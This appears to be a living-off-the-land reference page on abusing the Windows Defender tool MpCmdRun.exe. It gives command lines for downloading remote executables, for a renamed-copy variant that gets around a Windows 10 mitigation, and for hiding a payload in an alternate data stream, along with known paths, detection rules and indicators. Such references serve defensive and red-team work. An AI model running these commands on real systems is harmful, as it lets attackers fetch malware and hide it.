01 / TRADECRAFT
3 examplesCommand reference
Download2
EXAMPLE 01T1105
Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
COMMAND
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}EXAMPLE 02T1105
Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.
COMMAND
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exeADS1
EXAMPLE 01T1564.004
Download file to machine and store it in Alternate Data Stream
COMMAND
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe02 / ON DISK
Known paths
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exeC:\Program Files\Windows Defender\MpCmdRun.exeC:\Program Files (x86)\Windows Defender\MpCmdRun.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23110.3-0\X86\MpCmdRun.exe03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
- Sigmawin_susp_mpcmdrun_download.ymlgithub.com
- Elasticcommand_and_control_remote_file_copy_mpcmdrun.tomlgithub.com
Indicators & detection notes
- IOC
MpCmdRun storing data into alternate data streams.
- IOC
MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
- IOC
Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
- IOC
Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
- IOC
User Agent is "MpCommunication"
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Askar@mohammadaskar2
Oddvar Moe@oddvarmoe
RichRumble
Cedric@th3c3dr1c